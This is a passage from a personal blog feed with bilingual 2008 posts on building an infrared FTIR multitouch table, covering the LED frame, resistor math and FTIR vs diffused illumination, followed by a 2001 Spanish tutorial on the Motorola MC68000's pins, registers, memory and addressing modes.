taladre los agujeros en los perfiles, el montaje será el siguiente (todavía no he taladrado, por lo tanto está sin LED, pero muestra más o menos el asepcto que tendrá el prototipo):</p> <p>Mañana me pondré manos a la obra, y espero conseguir tambien los cables para el montaje, que por cierto lo haré empleando unos cablecitos con una ficha similar a los jumper de un disco duro, que sirven para no tener que soldar los LEDs ni las resistencias, así será fácil reemplazar o recolocar los componentes si es necesario durante el montaje. De todos modos para un montaje final no son muy recomendables y es preferible soldar.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Mesa sin montar" src="//antoniorodriguez.es/posts/multitouch-interface-marco-leds/caballetes.jpg" style="width: 600px;"/></div> Multitouch interface: LED frame2008-08-21T00:00:00+02:00tag:antoniorodriguez.es,2008-08-21:en/multitouch-interface-led-frame<p>Today I was building the LED frame that will light the acrylic panel. As I wrote before, for the prototype I’m building I’m using two 90cm L-shaped aluminium profiles (the panel is 76cm, but I bought 90cm to use them as a support over the sawhorses). I will put 25 infrared LEDs on them.</p> <p>I haven’t done any test yet, but I already have some concerns. The profiles are raw aluminium, and probably I should use polished aluminium to help with reflecting the light leaks back to the acrylic. In any case, this is only a prototype, the final version shoul duse polished frames U-shaped to seal the entire panel perimeter.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Drilling marks" src="//antoniorodriguez.es/posts/multitouch-interface-marco-leds/ledmarks.jpg" style="width: 600px;"/></div> <p>Separation between each LED is 3cm aprox., and I will mount them so one side frame will cover the low iluminated point on the other side. To explain it better, where we have a “hole” between 2 LEDs, the other side has one:</p> <p>0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0</p> <p>0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0</p> <p>I printed some templates to paste them over the aluminium, so I can mark the points where I have to drill.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-left"><img alt="Ruler and LED comparison" src="//antoniorodriguez.es/posts/multitouch-interface-marco-leds/ledregla.jpg" style="width: 420px;"/></div> <p>The LED thickness is about 5mm, so I’ll use a 5mm drill bit, obviously. The idea is to place LEDs from the back of the frame, attaching them tigh to aluminium, like in the next picture, where I used a regular ruler with a 5mm holeon it.</p> <p>As soon I drill the holes, the assembly will be like the photography below (I still didn’t drilled, so it doesn’t have the LEDs, but you will notice the appearance it will have):</p> <div class="line-block"> <div class="line"><br/></div> </div> <div class="line-block"> <div class="line"><br/></div> </div> <div class="line-block"> <div class="line"><br/></div> </div> <p>Tomorrow I’ll do it, and I hope to obtain the wires too (I will use just these wires with a tip similar to hard disk jumpers, so I shouldn’t need soldering the LEDs and resistors.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Tale prototype" src="//antoniorodriguez.es/posts/multitouch-interface-marco-leds/caballetes.jpg" style="width: 600px;"/></div> Multitouch interface: Esquema del prototipo2008-08-20T00:00:00+02:00tag:antoniorodriguez.es,2008-08-20:multitouch-interface-esquema-prototipo<p>Despues de una larga espera por fin he recibido los materiales para ponerme manos a la obra y hacer las primeras pruebas con el interface FTIR.</p> <p>Por un lado tengo 100 LEDs (he comprado 100, aunque para este proyecto solo utilizaré 50, pero no está de más ser precavidos). He escogido unos Oshram SFH485, ya que son de los que mejor resultado dan para una configuración FTIR: Emiten con una longitud de onda de 880nm, y un ángulo de emisión de 40º. Longitudes de onda superiores son más difíciles de filtrar para nuestro propósito, y el ángulo de emisión de 40º es ideal para el grosor del plexiglass que tengo.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="LED SFH485" src="//antoniorodriguez.es/posts/multitouch-interface-esquema-prototipo/sfh485.jpg"/></div> <p>Por otro lado, al fin me ha llegado el acrílico (es lo que más tiempo tuve que esperar). Tiene un grosor de 8 milímetros y unas medidas de 76x54 centímetros. Podría utilizarse uno más delgado, pero dado el tamaño de la plancha preferí no arriesgarme y asegurarme de que es rígido y no se dobla al presionarlo. De todas formas como ya digo, los leds tienen un grosor de 5 mm, asi que un panel de 5-6 mm de espesor sería suficiente.</p> <p>Tambien he encargado un par de perfiles en L de aluminio de 90 centímetros, que actuarán como "raíles" sobre los que apoyar el panel y colocar los LEDs. Escogí la forma de L para el prototipo porque es más cómodo y menos trabajoso, pero obviamente una vez el prototipo esté terminado lo reemplazaré por un marco completo en forma de U para dejarlo bien rematádo y estable.</p> <p>Lo primero que tuve que hacer llegado a este punto es decidir el esquema de LEDs que voy a emplear en el proyecto. Utilizaré 25 LEDs con 2 centímetros de separación entre ellos, en cada uno de los bordes (a lo largo) del panel, iluminando de esa forma el panel completo.</p> <p>Los LEDs operan a 100 mA con una caída de voltage de 1,5V. Dado que utilizaré una alimentación de 12V, los colocaré en 10 series en paralelo de 5 LEDs cada una, utilizando una resistencia de 47ohm, 1W en cada serie. Quizá deba escoger resistencias con menos potencia para que los LED brillen más, pero primero probaré con estas para no arriesgarme a quemar los LED, que no son baratos precisamente.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Esquema LEDs" src="//antoniorodriguez.es/posts/multitouch-interface-esquema-prototipo/esquema_leds.jpg"/></div> <p>Nota: La fórmula para calcular resistencias para LEDs (siguiendo la <a class="reference external" href="http://es.wikipedia.org/wiki/Ley_de_Ohm">Ley de Ohm</a>) es la siguiente:</p> <p><strong>R = (Voltage de fuente - Caída de voltage del diodo) / Intensidad del LED</strong></p> <p>y despues escogemos la resistencia con el valor standard más cercano que sea mayor.</p> <p>Me queda por solucionar el tema de la película de silicona (la complaint surface), y todavía no tengo proyector ni difusor, pero para empezar a hacer las primeras pruebas y generar los primeros blobs tengo suficiente.</p> <p>Esta semana me pondré con ello, así que pronto empezaré a poner fotos del proceso explicando los problemas con los que me encuentre en el camino.</p> Multitouch interface: Prototype schematics2008-08-20T00:00:00+02:00tag:antoniorodriguez.es,2008-08-20:en/multitouch-interface-prototype-schematics<p>After a long wait, at last I have received my materials to start working on the project and make the firs tests with the FTIR phenomenon.</p> <p>I bought 100 LEDs (100, but I only need 50 for this). I have chosen Oshram SFH485, because are optimal for an FTIR configuration: It’s wavelength is 880nm, and their emission angle 40º. Wavelengths avobe that are harder to filter for our purpose, and the angle is optimal for my plexiglass thickness.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="LED SFH485" src="//antoniorodriguez.es/posts/multitouch-interface-esquema-prototipo/sfh485.jpg"/></div> <p>In the other hand, the acrylic (I had to wait a lot to obtain it). It’s thickness is 8mm and it’s measurese 76×54 cm. I could use a thinner one, but it’s so big, so I prefer this thickness to avoid bending when applying pressure over it. LED’s are 5mm, so a 5 – 6mm acrylic should be enough.</p> <p>I got a couple of 90cm L-Shaped aluminium profiles too. That will act as a “rail” where to support the acrylic and assembly the LEDs. I have chosen L-shape because is comfortable to make a prototype, but obviously U-shape will be the chosen when the prorotype is finished.</p> <p>The first thing I did was to think my LED scheme. I will use 25 LEDs with 2cm sepparation between them, on each long side of the rectable panel, filling the entire screen.</p> <p>LEDs work at 100 mA with 1,5V voltage falloff. I’ll be using 12V power, so I’ll make 10 parallel series with 5 LEDs each, using 47ohm resistors, 1W each serie.Perhaps I will need less power resitors to allow LEDs to be brighter, but first I’ll try with this to avoid burning LEDs, because aren’t cheap.</p> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Esquema LEDs" src="//antoniorodriguez.es/posts/multitouch-interface-esquema-prototipo/esquema_leds.jpg"/></div> <p>Note: Formula for resistors (following <a class="reference external" href="http://en.wikipedia.org/wiki/Ohms_law">Ohm's law</a>) is this:</p> <p><strong>R = (Power voltage – diode voltage falloff) / LED current</strong></p> <p>and then we choose the resistor with the next standard value near our R.</p> <p>I just need to think how to make the complaint surface with silicone, and I don’t have a projector neither diffusor yet, but still I can start doing tests and start generating my first blobs.</p> <p>This week I’ll begin, so soon I’ll be posting pictures explaining the issues that can rise during my experiments.</p> Multitouch interface: Preparativos2008-04-22T00:00:00+02:00tag:antoniorodriguez.es,2008-04-22:multitouch-interface-preparativos<p>Desde que vi el video de <a class="reference external" href="http://cs.nyu.edu/~jhan/">Jeff Han</a> y su interface <a class="reference external" href="http://es.wikipedia.org/wiki/Multi-touch">multi touch</a> hace ya un año, he quedado totalmente prendado de esa tecnología y me he dedicado a investigar sobre el tema. En realidad es una tecnología no tan nueva, y lo más interesante del tema es que es relativamente sencilla.</p> <div align="center" class="youtube embed-responsive embed-responsive-16by9 drop-shadow curved curved-vt-2"><iframe allowfullscreen="" height="394" src="https://www.youtube-nocookie.com/embed/1ftJhDBZqss?rel=0&amp;autohide=1&amp;controls=2&amp;modestbranding=1&amp;showinfo=0" width="700"></iframe></div><div class="line-block"> <div class="line"><br/></div> </div> <p>Hay todo un movimiento alrededor de los display multi touch, y geeks del todo el mundo se están construyendo sus propios dispositivos de este tipo, e investigando como perfeccionarlos. Los prototipos que están saliendo son de una calidad que nada tendría que envidiar a un dispositivo comercial de estas caracteristicas.</p> <p>Yo, como buen geek que soy y sobretodo porque soy el primero en babear con esta maravilla tambien he estado investigando y haciendo mis preparativos para construirme mi propio prototipo. Tengo especial interés ya que como programador me abre un montón de posibilidades para experimentar con él una vez lo tenga terminado y funcionando.</p> <p>Cuando definitivamente me planteé comenzar con este proyecto, lo primero que tuve que hacer fue decidir que tipo de tecnología emplearía en mi interface. Existen dos enfoques principales a la hora de desarrollar un multi touch, que si bien se basan en lo mismo, se construyen de forma totalmente diferente:</p> <div class="section" id="ftir-frustrated-total-internal-reflection"> <h2>FTIR (Frustrated Total Internal Reflection)</h2> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="FTIR" src="//antoniorodriguez.es/posts/multitouch-interface-preparativos/scheme_ftir.jpg"/></div> <p>Este primer sistema es el más conocido y utilizado hasta el momento, probablemente porque es el sistema que empleó Jeff Han y el que puso de moda esta tecnología.</p> <p>Con este método utilizamos un panel de acrílico, el cual iluminamos desde sus bordes con LEDs infrarrojos. Utilizamos acrílico y no cristal, porque su transmitancia frente a la luz infrarroja es ideal, mientras que la del cristal no nos sirve para lograr este efecto.</p> <p>Lo que estamos haciendo es “inundar” el panel de luz IR, la cual va rebotando en su interior (<a class="reference external" href="http://es.wikipedia.org/wiki/Reflexi%C3%B3n_interna_total">reflexión interna total</a>). Cuando colocamos los dedos sobre el panel, estamos frustrando la reflexión interna y reflejando la luz hacia abajo, donde tenemos una cámara infrarroja, o una videocámara normal con un filtro IR que detectará esos “blobs” de luz, los cuales procesaremos con el ordenador para obtener su posición y de ese modo emplearlos como controladores.</p> <p>Sobre el panel acrílico colocamos un material difusor sobre el que proyectar la imagen del ordenador desde abajo.</p> <p>Al utilizar los dedos desnudos sobre el panel, el efecto de “frustración” funciona muy bien, especialmente si tenemos los dedos humedos, debido a que la piel de los dedos es semitransparente y se deforma al apretarla contra el panel, sin embargo al colocar la pantalla difusora, eliminamos el efecto y es necesario hacer bastante presión para obtener el resultado deseado. Para ello debemos utilizar una superficie intermedia entre el panel y el difusor (conocida como complaint surface). Se ha investigado bastante sobre este tema, y actualmente lo que mejor resultado da es crear una fina pelicula de silicona transparente (Sort A Clear Silicone Rubber). Esto complica algo el diseño del prototipo, y lo encarece un poco, aunque no tanto como para frenar a un geek que se precie.</p> </div> <div class="section" id="di-diffused-illumination"> <h2>DI (Diffused Illumination)</h2> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="DI" src="//antoniorodriguez.es/posts/multitouch-interface-preparativos/scheme_di.jpg"/></div> <p>El segundo método para este tipo de displays es la iluminación difusa. En este caso no inundamos de luz IR el panel (el cual ahora puede ser de plexiglass, cristal escarchado o lo que queramos), sino que lo iluminamos desde la parte inferior empleando lámparas LED, y procurando que quede totalmente iluminado. Al colocar los dedos sobre el panel, estaremos reflejando la luz que viene desde abajo otra vez hacia allí, donde tenemos nuestra cámara.</p> <p>Este tipo de paneles ademas de trackear los dedos, pueden identificar tambien imagenes <a class="reference external" href="http://en.wikipedia.org/wiki/Fiducial">fiduciales</a> (el famoso <a class="reference external" href="http://www.youtube.com/watch?v=0h-RhyopUmc">Reactable</a> es un claro ejemplo de este tipo de displays), aunque los “blobs” generados no son tan claros como en el caso de los FTIR.</p> <p>Los paneles DI son más fáciles de construir, ya que no necesitamos soldar la circuitería de leds para enmarcar el acrílíco, ni necesitamos la “complaint surface”. Sin embargo el dispositivo debe estar encerrado dentro de una caja y la calibración de las lamparas LED es bastante más compleja par obtener un resultado óptimo. Otra desventaja, aunque es posible solucionarlo, es la luz IR ambiente que se cuela desde arriba, lo cual hace que a veces incluso detecte blobs sin llegar a tocar el panel.</p> <p>Aunque tengo que reconocer que los sistemas DI me atraen bastante por su capacidad de interpretar patrones fiduciales, al final me decidí por el modelo FTIR como primer prototipo, aunque no descarto explorar el modelo DI en un futuro (especialmente si obtengo buenos resultados con el primero, ya que lo más caro es el proyector; y una vez teniendo uno nada me impide hacer otros experimentos con él).</p> <p>Ahora mismo estoy empezando a encargar los materiales como el panel acrílico y los leds, seguiré informando sobre el proyecto en cuanto empiecen a llegarme.</p> </div> Multitouch interface: Preparations2008-04-22T00:00:00+02:00tag:antoniorodriguez.es,2008-04-22:en/multitouch-interface-preparations<p>Since I watched <a class="reference external" href="http://cs.nyu.edu/~jhan/">Jeff Han’s</a> video and his <a class="reference external" href="http://en.wikipedia.org/wiki/Multi-touch">multi touch</a> interface a year ago, I was totally charmed with that technology and I was researching a lot about it. It actually is not a new technology, and is relatively simple.</p> <div align="center" class="youtube embed-responsive embed-responsive-16by9 drop-shadow curved curved-vt-2"><iframe allowfullscreen="" height="394" src="https://www.youtube-nocookie.com/embed/1ftJhDBZqss?rel=0&amp;autohide=1&amp;controls=2&amp;modestbranding=1&amp;showinfo=0" width="700"></iframe></div><div class="line-block"> <div class="line"><br/></div> </div> <p>There is a great community around the multi touch displays, and geeks all over the world are building their own devices of this kind, researching and improving them. The prototypes that you can find in that community don’t have anything to envy to commercial ones.</p> <p>I’m a fulltime geek, and I’m the first to melt with this wonder so I was researching and doing my homewroks to start building my own device. I’m interested on it, because as a coder, I’ll have a new world where to experiment with new software paradigms.</p> <p>When I first started this project, the first thing I needed was to choose what kind of technology I’ll be using. Currently there are two approaches to make a big multitouch table. They are based in the same concept, but are built in a different manner.</p> <div class="section" id="ftir-frustrated-total-internal-reflection"> <h2>FTIR (Frustrated Total Internal Reflection):</h2> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="FTIR" src="//antoniorodriguez.es/posts/multitouch-interface-preparativos/scheme_ftir.jpg"/></div> <p>This first approach is the most used to date, probably because jeff Han used it.</p> <p>With this method we will use an acrylic panel, and then we will fill it with infrared light from LEDs. Using an acrylic instead regular glass does the trick, because it’s transmittance with infrared is top notch, while glass will not work with this physical phenomenon.</p> <p>We fill the panel with IR light, and that light bounces inside it (<a class="reference external" href="http://en.wikipedia.org/wiki/Total_internal_reflection">total internal reflection</a>). When we touch the panel with our bare fingers, we are frustrating the internal reflection, and refleting the light to the floor, where we have an infrared camera, or a normal camera with a filter that will detect these light “blobs”, so we can process the capture video with a computer to use them as controllers.</p> <p>Over the acrylic panel we will put a diffusor fabric so we can project the image from the computer from the bottom.</p> <p>Using the base fingers, the “frustration” effect works very well (even better with moistured fingers), because the skin of the fingers is semi transparent and deforms itself when applying pressure; but if we put the diffusor we need to put a lot more pressure that makes it unusable. To fix avoid that, we need an intermediate surface between the acrylic and the diffusor (known as complaint surface). It was extensively reseached, and the best result to date is making a thin transparent silicone (Sort A Clear Silicone Rubber). That will emulate our fingers skin, but makes the building process much more complicated (and expensive). But not as much as to stop an incurable geek</p> </div> <div class="section" id="di-diffused-illumination"> <h2>DI (Diffused Illumination)</h2> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="DI" src="//antoniorodriguez.es/posts/multitouch-interface-preparativos/scheme_di.jpg"/></div> <p>The second method is the diffused illumination. In this case we don’t fill the panel with infrared (this tim eit can be acrylic, glass, or any other transparent or translucent material), but we light the bottom side using LED lamps, and trying to illuminate the entire surface. When we touch the glass, we refelct the light back to the floor, where our camera is.</p> <p>This kind of display, can track fingers, but also <a class="reference external" href="http://en.wikipedia.org/wiki/Fiduciary_marker">fiducial</a> markers (the famous <a class="reference external" href="http://www.youtube.com/watch?v=0h-RhyopUmc">Reactable</a> is a clear example of this kind), but the generated “blobs” are not as clear as FTIR ones.</p> <p>DI Panels are easier to build, because we don’t need to solder LED circuits, neither a complaint surface. But the device need to be isolated inside a box, and calibrating LED lamps is harder to achieve to obtain an optiaml result. Another disadvantage (but easily fixed), avoiding residual IR from ambient light (in special sunlight). If we don’t get rid of that, probably our display will detect inexistent “blobs” all the time without touching it.</p> <p>I have to recognize that DI is very interesting because it’s capacity to track fiducial patterns, but I have chosen FTIR for my first project.</p> <p>Right now I’m starting to order the first pieces, as the acrylic, the LEDs… and I’ll continue reporting my progress as soon a I receive them at my home.</p> </div> Micro Motorola MC680002001-07-02T00:00:00+02:00tag:antoniorodriguez.es,2001-07-02:micro-motorola-mc68000<p><strong>Nota preliminar</strong>: Este artículo fue publicado en el <a class="reference external" href="/files/ns006.zip">número #6</a> de NetSearch Ezine, en 2001.</p> <p>Esto pretende ser el primero de una serie de artículos (si es que veo interés y tengo tiempo) sobre Electrónica Digital. Voy a intentar enfocarlo para que cualquiera pueda empezar en este tema. No obstante, daré por hecho ciertos conocimientos básicos sobre informática (numeración hexadecimal, binaria,...).</p> <p>La electronica digital es un tema muy amplio, por tanto esto será algo así como una guía básica a partir de la cual podreis investigar vosotros mismos y profundizar. Existen multitud de microprocesadores; yo voy a escribir sobre el MC68000 de Motorola, ya que es el que conozco y es un buen micro con el que aprender. Esta claro que despues utilizareis otros, pero sabiendo uno no tendreis problemas en aprender otros.</p> <p>Estoy hablando de micros, ya que en este artículo voy a empezar con la estructura y la programación del micro. Decidí empezar por aquí porque creo que es lo más interesante para empezar en electrónica, ademas será una buena guía de iniciación a lenguaje ensamblador para la gente que no sabe utilizarlo. Si veo que interesa, en otros artículos escribiré sobre mapeo de memorias, circuiteria de selección,...</p> <p>En la web podreis encontrar un simulador del MC68000 y un manual de funcionamiento con el que podreis compilar y simular los programas que hagais.</p> <p>Puede que os esteis preguntando cual es la aplicación de todo el royo que vais a leer, sobre todo aplicado a los temas que os interesan. Programando un micro (en la práctica, lo más seguro es que programeis un PIC, que es un poco más limitado que un micro, pero os llegará de sobra) y creando un circuito digital controlado por el, podeis hacer desde una calculadora hasta un selector entre multiples tarjetas SIM segun el PIN introducido, cerraduras controladas por una tarjeta EPROM, emuladores de cualquier circuito que conozcais.</p> <p>Bueno, sin más preambulos empiezo.</p> <div class="section" id="indice"> <span id="indi"></span><h2>1. Indice</h2> <ol class="arabic simple"> <li><a class="reference external" href="#indi">Indice</a></li> <li><a class="reference external" href="#propiedades">Propiedades hardware</a></li> <li><a class="reference external" href="#modelo">Modelo de programación</a></li> <li><a class="reference external" href="#memoria">La Memoria</a></li> <li><a class="reference external" href="#direccionamiento">Modos de Direccionamiento</a></li> <li><a class="reference external" href="#instrucciones">Juego de instrucciones</a></li> <li><a class="reference external" href="#subr">Subrutinas</a></li> <li><a class="reference external" href="#exc">Excepciones</a></li> <li><a class="reference external" href="#inte">Interrupciones</a></li> <li><a class="reference external" href="#ejemplo">Ejemplo práctico</a></li> </ol> </div> <div class="section" id="id2"> <span id="propiedades"></span><h2>2. Propiedades hardware</h2> <ul class="simple"> <li>Bus interno: 16 bits</li> <li>Unidad Aritmetico Lógica (ALU) puede operar sobre 16 bits directamente</li> <li>Registros internos de 32 bits (Datos y Direcciones)</li> <li>La Entrada/Salida esta mapeada en memoria (Intel utiliza buses diferentes para entrada/salida)</li> <li>Bus de datos: 16 bits</li> <li>Bus de direcciones: 32 bits (pero solo utiliza las 24 líneas menos significativas)</li> </ul> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="Esquema MC68000" src="//antoniorodriguez.es/posts/micro-motorola-mc68000/mc68000.jpg"/></div> <p>* Físicamente solo hay 23 lineas de dirección. A0 se sustituye por UDS y LDS de una forma especial.</p> <p>[Nota:] Las líneas negadas (con una línea por encima) quieren decir que esa línea se activa con un 0 lógico, en lugar de un 1.</p> <ul class="simple"> <li><strong>GND</strong> (Ground): Masa.</li> <li><strong>CLK</strong> (Clock): Señal de reloj.</li> <li><strong>D0-D13</strong> (Data): Bus de datos.</li> <li><strong>A1-A23</strong> (Address): Bus de direcciones.</li> <li><strong>AS#</strong> (Address Strobe): Validación de dirección.</li> <li><strong>R/W#</strong> (Read/Write): Control Lectura/Escritura.</li> <li><strong>UDS#</strong> (Upper Data Strobe): Transferencia por los 8 bits altos del bus de datos.</li> <li><strong>LDS#</strong> (Lower Data Strobe): Transferencia por los 8 bits bajos del bus de datos.</li> <li><strong>DTACK#</strong> (Data Transfer Acknowledge): Indicador de transferencia completa. (la recibe del subsistema de memoria)</li> <li><strong>IPL*#</strong> (Interrupt Priority Level): Entradas de peticion de interrupción. Codifican un número de 3 bits con el nivel de interrupción.</li> <li><strong>BERR#</strong> (Bus Error): Error en el subsistema de memoria o en E/S.</li> <li><strong>RESET#</strong>: Es una linea bidireccional: De forma entrante inicializa el micro. De forma saliente fuerza la inicializacion del entorno.</li> <li><strong>HALT#</strong>: Es bidireccional: Como entrada detiene la CPU. Como salida indica al subsistema que la CPU se ha detenido.</li> <li><strong>BR#</strong> (Bus Request): Peticion de bus para DMA.</li> <li><strong>BG#</strong> (Bus Grant): Concesion de bus.</li> <li><strong>BGACK#</strong> (Bus Acknowledge): Reconocimiento de concesión.</li> <li><strong>E:</strong> Salida de reloj para perifericos de la familia 68000. Frecuencia de 1/10 CLK</li> <li><strong>VMA#</strong> (Valid Memory Address): Indica que el bus de direcciones contiene una direccion válida.</li> <li><strong>VPA#</strong> (Valid Peripherial Address): Indica que la dirección pertenece a un periférico síncrono.</li> <li><strong>FC</strong>* (Function Codes): Señales de status.</li> </ul> </div> <div class="section" id="el-modelo-de-programacion"> <span id="modelo"></span><h2>3. El Modelo de Programación</h2> <p>El MC68000 tiene dos modos de funcionamiento:</p> <ul> <li><dl class="first docutils"> <dt>Modo Usuario: No se pueden ejecutar ciertas instrucciones y solo se accede al byte bajo del registro de estado.</dt> <dd><ul class="first last simple"> <li>8 registros de Datos de 32 bits (D0-D7)</li> <li>7 registros de direcciones de 32 bits (A0-A6)</li> <li>PC (Contador de programa) de 32 bits</li> <li>SP (Stack Pointer o Puntero de Pila de Usuario) de 32 bits (A7)</li> <li>SR (Registro de estado) 8 bits</li> </ul> </dd> </dl> </li> <li><dl class="first docutils"> <dt>Modo Supervisor: Se accede a todo el juego de instrucciones y a todos los registros.</dt> <dd><ul class="first last simple"> <li>8 registros de Datos de 32 bits (D0-D7)</li> <li>7 registros de direcciones de 32 bits (A0-A6)</li> <li>PC (Contador de programa) de 32 bits</li> <li>SSP (Stack Pointer o Puntero de Pila de Usuario) de 32 bits (A7)</li> <li>SR (Registro de estado) 16 bits</li> </ul> </dd> </dl> </li> </ul> <p>[Nota:] Los registros de datos, direcciones y contador de programa son físicamente los mismos para los dos modos.</p> <p>Los punteros de pila hay uno físicamente para cada modo.</p> <p>El Registro de estado es físicamente el mismo: El usuario solo utiliza el byte menos significativo, y el supervisor el registro entero.</p> <p>[Nota:] Los registros que almacenan direcciones (A*, Sp, CP) son de 32 bits pero solo utilizan los 24 bits menos significativos.</p> <p>[Nota:] Cuando vallamos a utilizar la pila en un programa (ya sea de usuario, para las subrutinas, o de supervisor para las interrupciones) es necesario inicializarla, sino el micro generará un error.</p> <p>La de usuario la podemos inicializar así:</p> <div class="highlight"><pre><span class="nf">MOVE</span> <span class="err">#</span><span class="kc">$</span><span class="mi">40000</span><span class="p">,</span><span class="nv">A7</span> </pre></div> <p>La de supervisor:</p> <div class="highlight"><pre><span class="k">ORG</span> <span class="kc">$</span><span class="mi">00000</span> <span class="nf">DC.L</span> <span class="kc">$</span><span class="mi">40000</span> </pre></div> <div class="section" id="registro-de-estados-sr"> <h3>Registro de Estados (SR):</h3> <p>bit 15 14 13 12 11 10 9 8 | 7 6 5 4 3 2 1 0</p> <p>flag T # S # # I2 I1 I0 | # # # X N Z V C</p> <p>[Nota:] El byte más significativo no es accesible por el modo usuario</p> <ul class="simple"> <li>T (Trace): Si está a "1" el micro funciona en modo traza (Paso a paso)</li> <li>S (Status): Si está a "1" estamos en modo Supervisor Si esta a "0" estamos en modo Usuario</li> <li>I2 I1 I0 (Máscara de interrupción): Si un periférico solicita una interrupción, el nivel de prioridad debe ser superior al codificado por la máscara.</li> <li>X (Bit de Extension): Indica el acarreo en operaciones BCD</li> <li>N (Flag de Signo): Nos indica si la ultima operacion genero un numero negativo.</li> <li>Z (Flag de Zero): Indica que en la ultima operacion se obtuvo un 0.</li> <li>V (Flag de Overflow): Cuando esta a "1" indica que la ultima operacion genero un desbordamiento.</li> <li>C (Flag de Carry): Indica ke en la ultima operacion se genero un acarreo</li> </ul> </div> </div> <div class="section" id="id3"> <h2>4. La Memoria</h2> <p>El 68000 utiliza el formato Big Endian para el almacenamiento de datos superiores al byte en memoria. Esto quiere decir que el byte más significativo se almacena en posiciones de memoria bajas (cercanas al $00000).</p> <p>$00000</p> <p>.</p> <p>.</p> <p>byte alto</p> <p>byte bajo</p> <p>.</p> <p>.</p> <p>$FFFFF</p> <p>La señal R/W# nos indica si vamos a leer o a escribir en memoria:</p> <table border="1" class="table table-striped docutils"> <colgroup> <col width="38%"></col> <col width="63%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">R/W#</th> <th class="head">Acción</th> </tr> </thead> <tbody valign="top"> <tr><td>0</td> <td>Escribir</td> </tr> <tr><td>1</td> <td>Leer</td> </tr> </tbody> </table> <p>La señal AS# se envia al sistema de memoria para decir si la dirección que se ha puesto en el bus de direcciones es válida.</p> <table border="1" class="table table-striped docutils"> <colgroup> <col width="22%"></col> <col width="78%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">AS#</th> <th class="head">Indicación</th> </tr> </thead> <tbody valign="top"> <tr><td>0</td> <td>Dirección válida</td> </tr> <tr><td>1</td> <td>Dirección no válida</td> </tr> </tbody> </table> <p>UDS# y LDS#</p> <table border="1" class="table table-striped docutils"> <colgroup> <col width="16%"></col> <col width="16%"></col> <col width="68%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head">UDS#</th> <th class="head">LDS#</th> <th class="head">Acceso</th> </tr> </thead> <tbody valign="top"> <tr><td>0</td> <td>0</td> <td>Tamaño palabra (16 bits)</td> </tr> <tr><td>0</td> <td>1</td> <td>Byte bajo</td> </tr> <tr><td>1</td> <td>0</td> <td>Byte alto</td> </tr> <tr><td>1</td> <td>1</td> <td>No hay acceso a memoria</td> </tr> </tbody> </table> <p>La señal DTACK# viene del sistema de memoria, e indica si se ha conseguido acceder con exito</p> <table border="1" class="table table-striped docutils"> <colgroup> <col width="23%"></col> <col width="4%"></col> <col width="73%"></col> </colgroup> <thead valign="bottom"> <tr><th class="head" colspan="3">DTACK# | Indicación</th> </tr> </thead> <tbody valign="top"> <tr><td colspan="2">0</td> <td>Se ha accedido</td> </tr> <tr><td colspan="2">1</td> <td>No se ha accedido</td> </tr> </tbody> </table> </div> <div class="section" id="id4"> <span id="direccionamiento"></span><h2>5. Modos de direccionamiento</h2> <p>Los modos de direccionamiento son los formas de indicar al micro donde encontrar un dato determinado, es decir, cual es su dirección efectiva (direccion física del dato). En el 68000 tenemos 13 modos de direccionamiento:</p> <div class="section" id="direccionamiento-implicito"> <h3>Direccionamiento Implícito</h3> <p>No se necesita operando. Se refiere a un registro definido en la operación.</p> <div class="highlight"><pre><span class="nf">MOVE</span> <span class="kc">$</span><span class="mi">23345</span><span class="p">,</span><span class="nv">CCR</span> </pre></div> </div> <div class="section" id="direccionamiento-inmediato"> <h3>Direccionamiento Inmediato</h3> <p>Se expresa la dirección explicitamente en la operación. Se utiliza el caracter # antes de la dirección.</p> <div class="highlight"><pre><span class="nf">MOVE</span> <span class="err">#</span><span class="kc">$</span><span class="mi">9</span><span class="nv">F</span><span class="p">,</span><span class="nv">D5</span> </pre></div> </div> <div class="section" id="direccionamiento-inmediato-rapido"> <h3>Direccionamiento Inmediato Rápido</h3> <p>Igual que antes, pero el valor es:</p> <p>Número entre 1 y 8 para suma y resta.</p> <p>Número entre -128 y 127 en instrucciones de movimiento de datos.</p> <p>Se añade el caracter Q al mnemónico y el # antes del número.</p> <div class="highlight"><pre><span class="nf">ADDQ</span> <span class="err">#</span><span class="mi">6</span><span class="p">,</span><span class="nv">A0</span> </pre></div> </div> <div class="section" id="direccionamiento-absoluto-largo"> <h3>Direccionamiento Absoluto Largo</h3> <p>El argumento es la dirección efectiva a la que se accede.</p> <div class="highlight"><pre><span class="nf">MULS</span> <span class="kc">$</span><span class="mi">25022</span><span class="p">,</span><span class="nv">D2</span> </pre></div> </div> <div class="section" id="direccionamiento-absoluto-corto"> <h3>Direccionamiento Absoluto Corto</h3> <p>El argumento es una dirección de tamaño palabra (Word, 2 bytes)</p> <p>Si el valor está entre $0000-$7FFF accedemos a los 32k mas bajos de memoria.</p> <p>Si el valor está entre $8000-$FFFF accedemos a los 32k mas altos de memoria.</p> <div class="highlight"><pre><span class="nf">EORI.B</span> <span class="err">#</span><span class="kc">$</span><span class="nv">FF</span><span class="p">,</span><span class="kc">$</span><span class="mi">8000</span> </pre></div> </div> <div class="section" id="direccionamiento-directo-a-registro"> <h3>Direccionamiento directo a registro</h3> <p>El operando es un registro interno, D* o A*</p> <div class="highlight"><pre><span class="nf">SUB</span> <span class="nv">D1</span><span class="p">,</span><span class="nv">A2</span> </pre></div> </div> <div class="section" id="direccionamiento-indirecto"> <h3>Direccionamiento Indirecto</h3> <p>El operando es una dirección de memoria 